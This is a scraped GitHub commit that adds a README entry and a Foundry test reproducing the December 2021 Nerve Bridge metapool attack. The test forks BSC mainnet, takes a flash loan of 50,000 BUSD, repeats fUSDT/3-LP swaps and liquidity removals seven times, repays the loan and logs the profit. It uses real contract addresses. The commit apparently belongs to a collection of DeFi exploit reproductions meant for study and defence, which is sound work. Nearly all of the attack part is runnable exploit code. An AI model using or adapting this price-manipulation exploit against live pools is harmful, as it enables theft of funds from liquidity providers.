Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 34eb404

Browse files
committed
add nerve bridge
1 parent f65d0a7 commit 34eb404

2 files changed

Lines changed: 117 additions & 0 deletions

File tree

README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4407,6 +4407,26 @@ https://ftmscan.com/tx/0x19315e5b150d0a83e797203bb9c957ec1fa8a6f404f4f761d970cb2
44074407

44084408
---
44094409

4410+
### 20211214 Nerve Bridge - Swap Metapool Attack
4411+
4412+
#### Lost: 900 BNB
4413+
4414+
Testing
4415+
4416+
```sh
4417+
forge test --contracts ./src/test/NerveBridge.t.sol -vv
4418+
```
4419+
4420+
#### Contract
4421+
4422+
[NerveBridge.t.sol](src/test/NerveBridge.t.sol)
4423+
4424+
#### Link reference
4425+
4426+
https://blocksecteam.medium.com/the-analysis-of-nerve-bridge-security-incident-ead361a21025
4427+
4428+
---
4429+
44104430
### 20211130 MonoX Finance - Price Manipulation
44114431

44124432
#### Lost: $31 million

src/test/NerveBridge.t.sol

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.10;
3+
4+
import "forge-std/Test.sol";
5+
import "./interface.sol";
6+
7+
// tx: https://bscscan.com/tx/0xea95925eb0438e04d0d81dc270a99ca9fa18b94ca8c6e34272fc9e09266fcf1d
8+
// analysis: https://blocksecteam.medium.com/the-analysis-of-nerve-bridge-security-incident-ead361a21025
9+
10+
interface IFortube {
11+
function flashloan(address receiver, address token, uint256 amount, bytes memory params) external;
12+
}
13+
14+
interface ISaddle {
15+
function swap(
16+
uint8 i,
17+
uint8 j,
18+
uint256 dx,
19+
uint256 min_dy,
20+
uint deadline
21+
) external returns (uint256);
22+
23+
function swapUnderlying(
24+
uint8 tokenIndexFrom,
25+
uint8 tokenIndexTo,
26+
uint256 dx,
27+
uint256 minDy,
28+
uint256 deadline
29+
) external returns (uint256);
30+
}
31+
32+
interface ISwap {
33+
function removeLiquidityOneToken(
34+
uint256 tokenAmount,
35+
uint8 tokenIndex,
36+
uint256 minAmount,
37+
uint256 deadline
38+
) external returns (uint256);
39+
}
40+
41+
42+
contract ContractTest is Test {
43+
uint256 mainnetFork;
44+
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
45+
46+
IFortube flashloanProvider = IFortube(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);
47+
address nerve3lp = 0xf2511b5E4FB0e5E2d123004b672BA14850478C14;
48+
address busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
49+
address fusd = 0x049d68029688eAbF473097a2fC38ef61633A3C7A;
50+
address fusdPool = 0x556ea0b4c06D043806859c9490072FaadC104b63;
51+
address metaSwapPool = 0xd0fBF0A224563D5fFc8A57e4fdA6Ae080EbCf3D3;
52+
address nerve3pool = 0x1B3771a66ee31180906972580adE9b81AFc5fCDc;
53+
54+
function setUp() public {
55+
mainnetFork = vm.createFork("bsc", 12653565);
56+
vm.selectFork(mainnetFork);
57+
cheats.label(address(flashloanProvider), "flashloanProvider");
58+
}
59+
60+
function testExp() public {
61+
// 1. flashloan 50000 busd from fortube
62+
flashloanProvider.flashloan(address(this), busd, 50000 ether, "0x");
63+
console.log("final busd profit: ", IERC20(busd).balanceOf(address(this)) / 10 ** IERC20(busd).decimals());
64+
}
65+
66+
function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) external {
67+
IERC20(busd).approve(fusdPool, type(uint).max);
68+
IERC20(fusd).approve(metaSwapPool, type(uint).max);
69+
IERC20(nerve3lp).approve(nerve3pool, type(uint).max);
70+
IERC20(busd).approve(metaSwapPool, type(uint).max);
71+
72+
// 2. swap from 50000 busd to fusd on Ellipsis
73+
IERC20(fusd).approve(fusdPool, type(uint).max);
74+
IcurveYSwap(fusdPool).exchange_underlying(1, 0, IERC20(busd).balanceOf(address(this)), 1);
75+
76+
for (uint8 i = 0; i < 7; i++) {
77+
swap();
78+
}
79+
80+
// 6. swap from fusd to busd on Ellipsis
81+
IcurveYSwap(fusdPool).exchange_underlying(0, 1, IERC20(fusd).balanceOf(address(this)), 1);
82+
83+
// 7. payback flashloan
84+
IERC20(busd).transfer(address(0xc78248D676DeBB4597e88071D3d889eCA70E5469), amount + fee);
85+
}
86+
87+
function swap() public {
88+
// 3. swap from fusd to Nerve 3-LP token on metaSwapPool
89+
ISaddle(metaSwapPool).swap(0, 1, IERC20(fusd).balanceOf(address(this)), 1, block.timestamp);
90+
91+
// 4. remove liquidity Nerve.3pool with lp tokens to remove the liquidity of BUSD
92+
ISwap(nerve3pool).removeLiquidityOneToken(IERC20(nerve3lp).balanceOf(address(this)), 0, 1, block.timestamp);
93+
94+
// 5. invoking the swapUnderlying function of MetaSwap to swap BUSD for fUSDT
95+
ISaddle(metaSwapPool).swapUnderlying(1, 0, IERC20(busd).balanceOf(address(this)), 1, block.timestamp);
96+
}
97+
}

0 commit comments

Comments
 (0)